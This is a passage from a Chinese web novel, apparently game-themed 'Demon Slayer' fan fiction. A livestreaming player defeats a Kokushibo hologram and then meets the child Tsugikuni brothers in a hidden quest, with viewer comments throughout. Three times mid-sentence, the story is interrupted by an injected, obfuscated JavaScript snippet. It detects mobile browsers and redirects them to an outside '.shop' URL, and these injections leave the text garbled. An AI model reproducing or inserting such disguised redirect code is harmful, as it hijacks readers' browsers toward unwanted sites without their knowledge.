直播间的竞猜正在火热进行中,系统自动生成的标题非常应景:“会赢吗?”,左右两边的选项分别是会和不会。 看到画面里的朝奈,拼尽全力也只能躲开上弦一的一道攻击,根本没有反制手段,绝大多数人都选择押右边。 只有少数本着“搏一搏单车变摩托”心态的人给左边下注,虽然他们打心底里也不觉得主播能够绝地翻盘。 可惜朝奈现在全身心投入到了战斗中,没有多余的精力看弹幕,不然她一定会给自己下左边的注,然后靠赔率狠狠圈一波大的。 她的呼吸在竹林中凝成白雾,每一次吸气都能清晰地嗅到竹叶清苦的味道。 黑死牟动了。 月之呼吸的弧形风刃撕裂空气,比上一次来得更快更密,封死了所有退路。 这次朝奈没有选择躲开,手中凝起一团雾气,形成了一道保护屏障飘在她的周身。 风刃如期而至,却没能击破这层浓厚的冰雾,而是被细小的冰粒粘住,于空中显现出一道凌冽的形状。 全息影像似乎没料到会是这种局面,动作出现了一瞬的凝滞。 就是现在。 朝奈握紧手中的冰刀,直奔不远处倒在地上的半截竹子。 黑死牟的追击已至身后,她蜷身滚过,左手五指扣进竹筒内壁的裂口,借力旋身,将整截竹子抡了起来。 对方的下一招攻击再次袭来。 拿着竹子的朝奈,不仅没有躲开,也没在周身凝聚保护罩般的雾气。 她将竹筒断口对准风刃最密集的一点,直刺了进去。 一阵噼里啪啦宛如放鞭炮般的声音炸了出来,竹子被绞成无数碎片,那些碎片在飞溅的瞬间,竟将部分刃风折射,然后弹开。 朝奈对着面前明显顿住的全息投影,露出了计谋得逞的笑。 绝大多数3D动作游戏都有最基础的物理引擎和机制,建有模型的物品会对攻击产生小幅扰乱弹道的效果。 她用一次重开去赌,赌《鬼灭之刃》这款游戏也有这样的底层机制。 事实证明,她赌赢了。 接下来对战思路就很清晰了,只需要在对方攻击袭来的瞬间,用竹子刺向风刃中心扰乱此次攻击,然后在全息影像因招式被瓦解,动作僵直的一瞬间上去集中输出就好。 这么一大片竹林完全够她挥霍。 【不是,鬼灭的物理引擎还能这么玩??】 【麻了,刚看到主播开始反击,竞猜就停止下注了】 【这种行为算是利用bug投机取巧吧?可以向官方举报】 【bug在哪?前面那位,你懂什么叫做游戏的底层机制吗】 【估计是右边下大注的赌狗,破防了开始叫,嘻嘻嘻】 【就算大家都用这个机制来打红名本,你能确保大家都有主播这个意识预判和走位?】 弹幕就这个问题陷入了一场激烈的讨论。 朝奈也陷入了一场无比焦灼的战斗。 尽管知道了通关的对策,上弦一的全息影像实力还是摆在那里,并不能够掉以轻心。 她需要全神贯注观察黑死牟的出招,然后瞬间思考应该从哪个角度、用哪一处的竹子来扰乱攻击。 在此之后,她还需要紧盯影像动作僵直的刹那,用能够突破对方高额物理防御的法术伤害,也就是她的鬼血术霜息进行紧凑的攻击。 机会稍纵即逝,一旦错过就只能等下一次僵直。 比起对方那长得离谱的血条,朝奈每一次攻击造成的伤害都显得非常微不足道。 于是就出现了非常诙谐的画面: 影像出招,她躲;影像僵直,她上去偷几刀,然后继续躲。 总之就是两个字,苟住。 直播间观众看乐了,纷纷刷起“奈师傅别刮了”。 躲闪,刺竹,弹开刃风,欺身进攻,一气呵成,直播间的刮痧调侃逐渐又成了计数君的狂欢。 【第17次僵直,奈师傅这节奏感绝了】 【竹子消耗速度有点快啊,地图资源够用吗?】 弹幕无意间点破了隐患。 朝奈眼角余光扫过周围,碗口粗的墨竹已被她用去近半,剩下的要么太细,要么距离过远。 下一次,她被迫多翻滚了两圈才够到一株合适的竹子,反击时机因此延迟了半秒,冰刃只擦过影像的羽织边缘。 【哎,miss了】 【节奏断了,主播还我全连!!!】 终于,在不知道是第多少次凝起鬼血术霜息攻向对方命门时,那具强大的投影躯体刹那间定格,随即仿若被打碎的镜面,化作细碎的光点逐渐消散在幽暗的竹林中。 [系统提示:恭喜玩家朝奈越级挑战困难副本·竹林试炼,击败全息影像上弦之壹·黑死牟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122965|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。] [奖励正在结算中,请稍等。] 澎湃的经验值涌入身体,朝奈的等级在瞬间拔升到了15级,刚好达到主线任务的门槛。 她正欲退出副本,一股前所未有的寒意顺着脊椎爬上来。 谁在看她? 等侧身回眸的时候,那道目光便骤然消失了,她看向四周,竹影婆娑,风声依旧。 【会是谁呢?】 【哇塞,好难猜啊】 【一定不是打败了他的全息影像然后本尊也能共享意识这种烂俗的设定对吧,《鬼灭之刃》游戏设计师?】 【真是这样主播不完蛋了,下次遇到黑死牟本人不得被砍成肉臊子】 【我看未必,主播的操作这么好,黑死牟只会欣赏她】 【哦对,忘了他是铁血强度党来着,我的】 光点散尽的地方,一柄布满诡异眼球纹路的太刀,静静地悬浮在半空,周身萦绕着不祥的气息。 [系统提示:获得特殊物品。物品描述:上弦之壹黑死牟佩刀的虚影残响,似乎蕴含着原主的一丝意念。接触此物,或许会引发未知的因果。] [触发隐藏任务:日月同辉。] [任务描述:将刀归还原主。警告:此任务存在未知风险,请谨慎选择。] [副本通关奖励已结算,恭喜玩家获得:黑死牟的注视。] 她走上前,轻轻握住了刀柄,冰凉的触感很真实,甚至能感受到刀身一丝微弱的心跳脉动。 松开时,太刀虚影化为一道流光,缠绕在她左手手腕,形成了一个月牙与眼睛结合的印记。 [系统提示:特殊物品已绑定。隐藏任务第一阶段开启。] [附加状态:月之注视(初级)。描述:你引起了某人的兴趣,在月光下,你的感知略微提升。在那人眼中,你如同黑夜中的萤火。] 朝奈下意识摸了摸手腕处的印记,没忍住发问,“任务奖励就只是字面意思吗?” 系统很贴心地给出回答:“使用后玩家将会立刻传送到黑死牟面前。” “哦,那我用了吧。”她的声音淡淡的,就好像在说今天天气真不错我们出去散步吧。 【啊?】 【一百年之内无人能看懂主播的操作】 【为什么要现在用啊,这种难道不是保命符吗?以后遇到什么危机局面需要传送遁走时再用啊!】 朝奈抬起手,指尖捋了捋颊边的发丝,“图个乐罢了。” “现在我看就挺合适的。” 费这么大劲才通关的副本,不去本尊面前秀一下存在也太可惜了。 她扬起下巴,嘴角勾起一个漂亮的弧度,露出犬齿尖的小白角。 系统短暂沉默后,冰冷提示音响起:确认使用道具,传送将在三秒后启动。 【她疯了还是我疯了?!】 【虽然是鬼但这也太嚣张了】 【坏了,我被说动了,真有点想看黑死牟是什么反应】 也有条弹幕在一片讨论中显得格外突出:【只是打过全息影像而已,又不是真的赢了黑死牟,主播在装什么】 朝奈当然看见了,她像哄小孩一样回应:“只是游戏而已,答应我别这么较真,好吗?” 5. 第五章 眼前光影重组,古朴的庭院在数据流中凝聚成形。 身上的服饰也相应发生了变化,朝奈察觉到一丝不对劲。 游戏背景应该是大正时期才对。 视线扫了一圈,周围的建筑分明是战国时代的样式。 院中种着几棵枫树,此时红枫似火。 黑死牟平时待在这种地方? 空气中传来竹剑破空的声音,循着声音望去,一个穿着暗紫色小袖的男孩正在练习剑术。 他的动作很标准,但肩膀有些紧绷,每次收势时嘴唇都会不自觉地抿一下。 男孩注意到了廊下的身影,动作停了下来。 他转过身,眼睛清澈明亮,脸上露出好奇的神情,“你是谁?我没有在家里见过你。” 朝奈听到系统“隐藏任务已开启”的提示音,看着面前这个面容与黑死牟能挂上钩的孩子,心下了然。 传送到黑死牟面前,但没说是什么时候的,人类时期的那也是黑死牟。 【不对不对,不是这个黑死牟啊!】 【哦对的对的,是人类幼崽时期的上弦一,好可爱,想。。】 【太刑了也,五年不亏,三年血赚】 【哎呀好可惜,没看到主播作死我浑身有蚂蚁在爬】 错失一个当面挑衅上弦一的机会,她倒也没多惋惜,目光带着些兴味打量着眼前的孩子。 一旁透明的角色面板上写着信息: [继国严胜,6岁,继国家长子。当前状态:困惑、警惕。好感度:陌生] 见她许久不答,严胜小小的眉头微微皱了起来,握竹剑的手又收紧了几分。 出于世家子弟的教养,他还是保持着基本的礼节:“若你是客人,我该去通知父亲大人,若只是迷路,我可以让侍女带你出去。” 朝奈终于有了动作,她缓步走下廊阶,木屐在石板上发出轻微的叩响。 “迷路?姑且算是吧。” 红枫被秋风拂落,有几片擦过她素色的和服袖摆,她兀地将话题一转,“你刚才的动作,肩膀太紧了。” 严胜愣了一下,下意识低头看向自己的肩膀。 “不只是肩膀,”朝奈已经走到他面前三步远的地方,“挥剑时呼吸很乱,收剑时手腕角度也有偏差。” “而且,”她故意停顿了一下,满意地捕捉到他眼中好奇的光,才继续说,“你看起来完全不像在享受练习,倒像是被大人罚了。” 严胜的脸微微涨红了,不知是因为被指出问题,还是因为那句话戳中了他心中的感受,他抿紧嘴唇,试图维持镇定:“父亲说,练习时必须认真。” “认真和僵硬是两回事。”朝奈平静地反驳他,“来,再做一次挥剑给我看看。” 她的语气太过自然,看上去也没有恶意,严胜竟真的重新摆出了架势。 他深吸一口气,挥出竹剑—— “不对哦。” 竹剑应声停在半空。 朝奈上前一步,伸出食指轻轻点在他的右肩,“这里得放松一些。” “挥刀的时候,最重要的是动作与意识同步,”声音顿了片刻又继续,“不能只是手臂机械地发力。” 她又走到他侧面,看着他握剑的手:“拇指位置不对,要再往下半寸。对,就这样。” 严胜依言调整,惊讶地发现这样握剑确实更稳。 “现在呢,挥剑时不妨试着呼气,想象一下气息从剑尖逐渐延伸出去。” 朝奈退后一步,观察着他的动作,“不要有这一剑必须完美的负担,只是单纯地享受这个动作。” 男孩闭上眼睛,按照指示调整呼吸,然后挥剑。 “咻——” 破空声清脆而连贯,动作如行云流水,异常轻盈。 严胜自己都愣了一下,睁开眼睛看着手中的竹剑,仿佛第一次认识它。 “好多了。”朝奈点点头,“再来一次,这次把注意力更多放在感官上,别拘泥于动作。” 【对,对吗?】 【这还是我认识的主播吗,居然这么正经地教人】 【教得有模有样的,主播有点东西啊】 【我以为她会嘲句弱鸡,然后秀一下自己的高端操作,直接给人家留下童年阴影】 【别急,这不还没看完么,她肯定还藏着什么后招】 严胜看向庭院里那棵作为目标的枫树,按照朝奈所说的,调整呼吸,挥剑。 这一次,竹剑划出的弧线更加自然,收势时身体也不再紧绷。 做完这套动作,他转过头看向朝奈,眼中闪着难以置信的光。 “这...为什么?”他喃喃道,“师傅从来没有这样教过我。” “因为大多数人只教形,不教意。”朝奈微微一笑,颇有一种世外高人的神秘感,“现在你明白了吗?放松肩膀,调整呼吸,专注目标,这三点比你反复练习一百个标准姿势更重要。” 严胜用力点头,态度认真地又练习了几次,每一次都有微小的进步,他眼中的光芒更盛。 【继国严胜好感度+10】 【剑术领悟状态:开启】 系统提示闪过。 朝奈看着男孩认真的侧脸,忽然产生了一个念头。 “严胜君。”她开口道。 他停下来,转头看她,额头上已经渗出细密的汗珠,但神色十分明亮,“是?” “我教了你挥剑的要领。”朝奈的语气变得有些微妙,“作为交换,我可以提一个小小的要求吗?” 严胜眨了眨眼,显然没料到会有这样的转折,“什么要求?” 她走近两步,蹲下身来,让自己和男孩平视,然后伸出手,隔空指了指他的脸颊。 “让我rua一下你的脸。” “rua是什么意思?”他很疑惑。 “就是捏一下你的脸。” 然后是一阵长久的沉默。 严胜的表情从困惑变成震惊,再从震惊变成不知所措,他的耳朵以肉眼可见的速度变红,整个人僵在原地,像是被这句话定住了。 “什,什么?”他的声音都变了调。 “就捏一下。”朝奈笑眯眯地看着他,刚才那副绝世高手一样的气息消散的无影无踪,“你的脸颊软软的,看起来很好捏。” 这是实话。 六岁的严胜脸颊还带着婴儿肥,皮肤白皙,确实看起来很有手感,再加上他此刻一脸震惊的呆滞表情,更增加了某种反差萌。 “不,不行!”严胜猛地后退一步,竹剑都没拿稳,掉在了地上,“这不合礼仪!父亲说,继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122966|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国家的长子必须时刻保持仪态!” “可是这里只有我们两个人,而且我刚才帮了你,不是吗,礼尚往来才是礼仪吧?” “就一下。”朝奈伸出食指,比了个“1”的手势,耐心诱哄着面前的孩子,“轻轻的,而且我保证不会告诉任何人。” 【果然,我就知道主播没那么好心】 【当年扫射正太控的时候,我抱着严胜的腿躲过一劫】 【能让我魂穿主播几秒吗】 【我承认我酸了,因为我也好想rua】 【感觉自己少了玩五块钱的,心痛】 严胜陷入了剧烈的内心挣扎。 刚才朝奈的指导确实让他受益匪浅,而且她说的有道理,礼尚往来。 更重要的是,他内心深处其实并不讨厌这个提议。 从小到大,除了母亲会偶尔摸摸他的头,没有人会对他做这样亲昵的举动。 父亲严厉,侍女恭敬,师傅严格,每个人都把他当作继国家的长子,而不是一个需要爱的孩子。 朝奈耐心地等待着,夕阳透过枫叶,在她侧脸洒下温和的光晕。 漫长的十几秒后,严胜的手指慢慢从脸上移开。 他低下头,盯着自己的木屐尖,用几乎听不见的声音说: “只能一下。” 朝奈露出一个满意的笑。 她伸出手,食指和拇指轻轻捏住男孩的左脸颊。 手感果然如想象中一样好,柔软,温热,□□弹弹的。她控制着力道,只轻轻捏了几下就松开了。 还是小孩子可爱啊。她在心里感慨着。 严胜全程僵着身体,眼睛紧闭,长长的睫毛微微颤抖,直到朝奈的手离开,他才小心翼翼地睁开眼睛,脸上还残留着被捏过的轻微痕迹。 “好了,交易完成。”朝奈站起身,拍了拍手,“怎么样,没有你想的那么可怕吧?” 男孩不说话,只是弯腰捡起地上的竹剑,抱在怀里,低着头不看她,但那通红的耳朵暴露了他此刻的心情。 朝奈觉得逗他特别有趣,但也知道不能一次性玩得太过分。 她替他解围似的换了个话题,面上仍是那副故作神秘的表情,“你不好奇我从哪里来的吗?” “是城外吗?” 朝奈轻轻摇头。 严胜不解地看着她,对他而言,外面无非是继国宅邸外的城下町,或是更远一些的邻国。 “一个很远很远的地方。”朝奈望向庭院上方的天空,那里正漂浮着只有她能看见的半透明弹幕。 她倚着庭院里那棵最高大的枫树,闭上双眼感受着什么,语气变得幽深起来:“我知道一些关于未来的事哦。” 岩胜的眼睛微微睁大。 未来?他捏紧了竹剑,迟疑地开口:“什么样的未来?” “比如,”朝奈睁开一只眼,幽幽道,“你会成为一个非常强大的剑士。” 严胜的脊背下意识挺直了些,他感兴趣地追问着:“成为强大的剑士...之后呢?” “之后呢——”她故意把尾音拉得很长很长。 吊足了他的胃口后,才轻快地吐出后半句,“被我很轻松地就打败了。” 看见对方脸上那抹得逞的笑,严胜才明白,他、被、耍、了。 6. 第六章 直至日落前,严胜都还在庭院中复习今日所学。 他手中握紧竹剑,比划着放松肩膀的要领,连母亲和侍女走近的脚步声都未第一时间察觉。 “严胜。”温柔的声音在背后响起。 严胜回过神来,连忙收剑转身,他这才注意到天色已暗,母亲定然是来唤他用晚膳的。 继国夫人走到儿子身边,抬手用袖角轻轻拭去他额角细密的汗珠,眼中满是慈爱,“练习很用功呢,今日的功课可还顺利?师傅教的内容都理解了吗?” “是的,母亲。”严胜认真地点头,“今日学习了新的剑法,师傅说——” 他话说到一半,猛然想起旁边还有一个人,侧头看过去,朝奈还站在廊下那棵枫树旁,正抱臂看着他们母子对话,脸上带着似笑非笑的表情。 “母亲,”严胜转向母亲,语气里带上了几分孩子气的兴奋,指向朝奈的方向,“这位是朝奈姐姐,她刚才指点了我剑术,非常厉害!她说的和师傅教的不一样,但是我觉得很有用。” 他期待地看向母亲。 然而,继国夫人顺着他手指的方向望去,只看见庭中枫树和渐暗的天色,她脸上的温柔笑意微微僵住。 收回目光,她重新看向儿子因为兴奋而有些发亮的脸庞,伸出手,轻轻抚上他的额头。 “严胜,”声音比刚才更加轻柔,还带着一丝担忧,“你是不是练剑太久,有些累了?额头倒是不烫,但怎么说起胡话来了?” 她的目光仔细描摹着儿子的脸,试图找出任何不适的迹象,“那里并没有别人啊。” 严胜难以置信地看看母亲,又猛地转头看向朝奈。 朝奈依旧站在那里,对他无奈地耸了耸肩,摊开双手,做了个“我也不知道哦”的口型。 她似乎想到了什么,从树下走到继国夫人面前,伸出手在夫人眼前晃了晃,见对方没有半点反应,便试图去碰夫人发髻上的簪子。 然后她的手指如同穿过空气,没有任何触碰发生,继国夫人也毫无所觉。 【这就非常尴尬了吧】 【我们开了一个超棒的party,只有一个人没有被邀请.jpg】 【严胜:你听我解释!那里真的有人啊!】 【主播想笑就笑吧,怕你憋坏了】 【这算不算公然穿模啊,指指点点】 弹幕飞速滚动,朝奈却饶有兴致地观察着严胜的反应。 男孩的脸一点点白了下去,忍不住向前一步,伸手似乎想拉住母亲去看,伸到一半又僵住。 他意识到这行为在母亲看来会更像癔症。 “好了,严胜。”继国夫人轻轻握住儿子有些发凉的小手,包裹在自己温暖的掌心里,语气带着不容置疑的安抚,“定是近日功课太紧,累着了。剑术练习虽重要,但也不能过度,今日就到此为止吧,先随母亲回去,好好用晚膳,早些休息。” 她牵起严胜的手,转身准备离开庭院,同时低声吩咐侍女:“晚膳后让厨房准备些安神的汤水。” 严胜被母亲牵着,身不由己地迈步。 他有些急切地回头,看向朝奈。 对方没有如他担忧的那样消失,步履悠闲地走在他身侧半步远的地方。 见他回头,她甚至弯起眼睛,对他笑了笑。 “晚点见。” 说完,她随意地挥了挥手,转身便朝着与主屋相反的方向离开。 严胜看着她消失在自己的视野中,心中充满了好奇,还有一丝莫名的失落。 她要去哪里? “严胜?”母亲察觉到儿子的走神,握着他的手稍稍收紧,“是不是还有哪里不舒服?” “没有,母亲。”严胜连忙收回视线,低下头,“只是有些累了。” “那就快些回去吧。”继国夫人温柔地摸了摸他的头。 走在回廊上,母亲轻柔地询问着他今日练习的细节,严胜心不在焉地应答着。 不会被其他NPC看见的系统设定,对朝奈来说是件大好事,除了在严胜面前需要注意一点,其他时候她可以肆无忌惮的找线索。 她没忘自己是来做任务的,视线在宅邸中四处游走,试图找到能触发剧情的任务点。 【主播怎么溜得这么快?不跟着去看看吗】 【万一隐藏任务的线索在主屋里咋办】 【这房子好大啊,系统也没点提示,拿头找线索】 “你们的视角看不见主屋的空气墙,”朝奈很有耐心地和观众解释自己的选择,“地图上也显示区域未开放,我进不去的。” 此时天色已晚,檐下的灯笼被陆续点亮,勾勒出回廊与重重屋宇的轮廓,不会被看见的便利就显现出来了。 她完全没避开偶尔走过的仆从,凭着多年卡任务时找路的经验,走入了宅邸后方不算茂密的树林。 这里的树木未经打理,可供行走的小径也不太清晰,偶尔会拐入灌木从中。 越是这样,朝奈越觉得自己找对了。 游戏设计师不会太好心直接标好隐藏任务的触发地点,但也不会太丧心病狂一点提示不给。 她拨开低垂的树枝,继续深入。 树林的尽头,豁然开朗,那里矗立着一座独立的院落。 院墙低矮,有些地方的墙皮已经脱落,露出里面斑驳的木质。 院门紧闭着,门扉上的挂件也显得有些黯淡无光,院子里似乎有一栋不大的屋舍,被院墙和几株高大的树木遮掩着,看不太真切。 【主播我怕,你说句话好不好】 【怎么突然变成恐怖游戏的氛围了,等下不会转角遇到爱吧?】 【根据我多年的经验判断,这里面绝对藏着大的】 【我去,不早说!】 【让我先把屏幕调暗。。】 【这里不会也有空气墙吧?】 朝奈用行动回答了弹幕的问题,她进门的过程中并没有遇到无形的障碍。 院落里确实只有一栋看起来相当简朴的屋舍,廊下空荡,没什么装饰,角落里随意放着几个陶罐,里面种着的植物枝叶微微枯黄。 整个地方还算整洁,但冷清得不像一个长期有人居住的场所。 她的目光快速掠过空荡的庭院,最后定格在屋舍侧面的廊檐下。 有个小小的身影正坐在石阶上,背靠着斑驳的木柱,他穿着朴素的和服,身形单薄,远远看去,像一个被遗忘在此处的精致人偶。 他静静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122967|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地坐着,双手乖乖放在膝上,头微微仰起,视线投向庭院上方被屋檐割出的那一方昏黑的天空。 就在朝奈准备继续找任务触发点的时候,这个完全沉浸在自己世界里的孩子,正无声地将目光转向了她所在的方位。 他的眼睛和严胜很像,给人感觉却完全不同。明明是相似的轮廓,这双眼睛里却如同盛着深不见底的清泉,澄澈空明。 他能看见她。 那般平静的注视,和观察方才天空中飞过的鸟一样。 为了获取更多环境信息,朝奈把之前为了屏蔽虫鸣而拉到最低的环境音量,缓缓调回了正常区间。 夜晚庭院应有的声音重回耳畔,远处宅邸传来隐隐约约的模糊人声,近处灌木丛里重新变得清晰的虫鸣,风吹过树叶的沙沙声,还有平稳悠长的呼吸。 然而,即使声音恢复,坐在石阶上的孩子依旧没有任何开口说话的迹象。 他只是静静地看着她,安静得与夜色融为一体。 他不说话,是不愿意,还是不能? 朝奈走近他,调出了系统的详细探查功能,一行行半透明文字,浮现在男孩的身边。 [探查目标:继国缘一] [年龄:6岁] [身份:继国家次子(被禁闭)] [特殊天赋: 通透世界:视觉、听觉等感官超越常理极限,可无视绝大多数视觉阻碍,直接观察生物体内能量流动,肌肉骨骼运动,乃至情绪波动的细微痕迹,世界在其眼中呈现出截然不同的通透形态。 至高天赋·日之呼吸:对剑道拥有超越时代与常理的理解潜能,一切剑术技巧在其面前形同虚设。] [当前状态:平静] [好感度:陌生] [温馨提示:该角色基础属性与天赋配置严重偏离当前世界平均水准,建议保持观察,谨慎交互。] 朝奈:“......” 挺萌一孩子吧。 怎么是个面板怪啊! 她看着那一行行仿佛在闪烁警告红光的描述,尤其是最后那个加粗标红的[温馨提示],以及下面那串小字备注,陷入了短暂的沉默。 有一种很强的即视感。 弟弟和哥哥,一方天赋异禀,另一方对力量有执着的渴求,以至于最终堕入鬼身。 不对劲,好像能猜到后面要发生什么。 【这面板不纯纯挂逼么???】 【谁能告诉我什么叫做通透世界,甚至还特喵是常驻形态】 【我草,没关就是开了?】 【继国一家子全是数值怪实锤了,哥哥超模,弟弟也不遑多让】 【一家人开挂认识的(不是)】 沉寂已久的系统提示音在这时响起。 “检测到关键人物,隐藏剧情第二阶段开启。” “3秒后将强制传送,3,2,1——” 眼前景象开始瓦解,白光从四面八方涌来。 朝奈没有丝毫慌乱,伸出手稳稳攥住了身侧那只温热柔软的小手。 缘一被她拽得微微踉跄了一下。 被白光彻底吞噬的前一秒,朝奈低头对上那双干净的眼睛。 “跟我来。” 7. 第七章 这一次的抽离来得很快,只是一瞬的时间,意识就传送到了一个新的空间里。 朝奈站稳脚跟后,低头确认了自己攥着的那只小手。 温热的触感还在,她侧头看去,继国缘一正站在她身侧半步远的地方,仰头打量着四周。 【逗我玩呢??居然真能带走】 【这就是挂逼的含金量?】 【感觉今晚程序员要加班修bug了,这绝对是bug吧???】 【有没有一种可能,或许程序员他修不了(我在说什么asdfgh】 正前方空中漂浮的四面镜子,其中有一面是白色的,其他三面漆黑无光。 [检测到数据异常,系统正在修复中...] [自动修复失败] [当前任务进度:与镜子对话(0/4)] 朝奈明白了,刚才的世界只是这个任务的一段小前置,只有玩家找到院子里的关键NPC缘一时,才能触发下一个任务剧情,进入到这个空间。 但系统也没想到玩家会把关键NPC一起带到这里来。 她牵着缘一走到唯一的白色镜子面前,看到了黑檀木雕的镜框上刻着藤蔓纹样。 镜面很干净,凑近时,呼吸在上面呵出一小片白雾。 然后,镜子里响起了声音。 仿若月光,冷而清寂。 “完美是一种诅咒。” 说话者十分平静地开始叙述。 “我生来就背负着长子的枷锁。” “剑要最快握稳,字要最先识全,礼仪不可有半分差错。 “他们说我天生就该是太阳,直到七岁那年,我看见真正的太阳。” 镜中隐约有画面浮动,一个男孩站在廊下,望着庭院里的另一个挥动树枝的孩子。 “他叫缘一,我的弟弟。” 声音停顿了片刻,好似承载不起这个名字的重量。 “那之后我所有的努力,都成了对一面不可逾越之墙的徒劳叩击。” “他从未觉得我们之间存在鸿沟,总回头向着我出手,我连憎恨都显得卑鄙。” 朝奈看向缘一,发现他眉头轻轻蹙了起来,似乎在思考什么。 第二面镜子里的声音变得紧绷,镜面也泛起细密的裂纹。 “我加入了猎鬼组织,也许能在生死一线间,找到属于我的答案。” 这时画面变了,两个相似的身影在夜色中挥刀,一者刀光灼如烈日,一者清似冷月。 “他开创了呼吸法,斩杀了无数恶鬼。 “人们称他为神,而我创造的月之呼吸法,每一式都是对他的拙劣摹写。 “我本身没有亮光,只是借了他的光才被看见。” 朝奈倚着墙壁,显然她并不认同镜子里声音说的话,不过也没出声反驳。 却听见身侧一声极轻的“不是”。 缘一仰着小脸,眼神十分认真,“哥哥的剑,很好看。” 第三段声音开始陈述,镜面逐渐蒙上雾气。 “我看着自己挥刀的速度开始迟缓,不禁开始思考,如果努力注定徒劳,追逐注定无果,那么这条正道的意义是什么?” “当这个疑问浮现的时候,我心里的某些东西已经死去了。” 声音低下去,渗着苦涩。 听完这段独白,缘一眉头皱得更紧了。 他不明白为什么镜子里的哥哥会说这样的话。 到了第四面镜子的独白时,镜面结出了霜花,声音变得彻底冰冷。 “他出现了。” 没有说名字。 “那个许诺永恒生命与力量的存在。” “我沉默了很久,久到足够回忆起我这可悲可笑的一生。” 此刻,镜面彻底暗了下去,只剩声音在黑暗里流淌。 “我说,好。” “成为鬼的那一夜,我给自己取名黑死牟,这名字是一具棺木,埋葬了继国严胜的所有过往。” “我不再需要追赶太阳了,我将如寒月高悬于永恒的黑夜。” 所有的声音到此戛然而止。 弹幕安静了几秒,才慢慢滚动起来。 【原来上弦一的故事是这样的,有点伤感啊...】 【也能理解吧,一个太过优秀的弟弟带来的阴影】 【都不止是优秀了,是神和凡人的区别】 【可他还是选择了成为鬼,再多的理由也无法洗白】 【月亮追逐太阳,最后却坠入了永夜,好唏嘘】 【主播快哄哄小缘一,他看起来好像很难过】 “玩家已完成所有镜中独白,隐藏任务第三阶段已开启。” 系统的提示音响起,朝奈也从刚才的声音中回过神来。 她走到缘一身边,蹲下来揉了揉他的头,语气放得很轻:“听不懂也没关系,等会我带你去找哥哥。” [隐藏任务最终阶段开启:日月同辉] [任务描述:你已见证黑死牟悲剧的铸成,月本不必坠入永夜。 玩家将拥有四次机会,可分别进入镜子,尝试扭转关键节点的走向。] [警告:扭转必然伴随变数,每次选择将导向不同分支,并影响后续剧情,请谨慎使用。] [每面镜子可停留时间结束时,会自动将玩家传送出镜面。] 朝奈眼前的第一面白镜安稳悬浮,记录着已成往事的独白,另外三面漆黑的镜面此刻泛起了微光,仿佛在等待她的触碰。 结合镜子所述而拼接起来的故事,和她之前所想几乎没有差别。 无法跨越的天赋之壁和对至高理想的不同追求导致的,兄弟间一个彻头彻尾的悲剧。 其实,这个故事她也见过另一个版本。 哥哥坠入魔界,追求恶魔之力,甚至分裂人性。 弟弟选择人性却依然强大,否定了哥哥“力量必须舍弃人性”的信条。 但他会试图叫醒哥哥,他们像正常的兄弟一样,会交谈,会吵架,会战斗。 在弟弟的帮助下,哥哥最终找回了完整的自我,并与对方达成了和解。 他们在世界的两端履行各自的责任,彼此承认,也彼此守望。 这个故事给了她一点启发。 【告诉他月之呼吸简直酷毙了,不比日呼差】 【在他怀疑自己意义的时候,去拉他一把】 【直接选第四面,在屑无惨开口诱惑之前就砍了他(bushi)】 【我算是看懂了,隐藏任务都是独立主线剧情之外的if线啊,真改写了黑死牟岂不是都不存在了,无惨还玩啥】 “如果我按照顺序进入,第一次的选择会影响后续吗?”她询问系统。 系统给出了模棱两可的提示:“只要足够难忘,记忆就可以连续。” 朝奈盯着四面镜子,若有所思。 然后,她牵着缘一走向其中一面。 要改变一个故事的结局,就要回到它最初转折的地方。 镜面像水面般荡开涟漪,将两人的身影吞没。 七岁的继国缘一站在道场中央,周围是惊叹的族人。 他刚刚完成了一套连成年武士都难以掌握的剑型,日之呼吸的雏形在他稚嫩的手中初显神迹。 没有人注意到角落里的严胜,七岁的少年握着竹刀,指节因用力而发白。 朝奈带着小缘一隐身在廊柱后。 这次她拥有了实体,却似乎被某种规则限制,无法直接介入,但缘一可以。 “去吧,”等这个世界里的缘一离开的时候,她轻轻推了推小缘一的背,“找你的哥哥,说你想和他一起练习。” 缘一回头看了她一眼,清澈的眼睛里有些困惑,但还是照做了。 他挤开人群,跑到严胜身边:“哥哥!父亲说要给我特别的指导,但我想和你一起练习。” 严胜愣住了,看着弟弟纯真的脸,又看了看周围还在惊叹的人群,复杂的情绪在他眼中翻涌。 “我的剑术远不如你。”严胜低声说,声音里有这个年纪不该有的沉重。 “但哥哥的剑很好看,像月亮一样。” 严胜的眼睛微微睁大。 就在这时,朝奈感到手腕一阵灼热,她低头看去,金色的印记正在皮肤上浮现,耳边响起系统的提示。 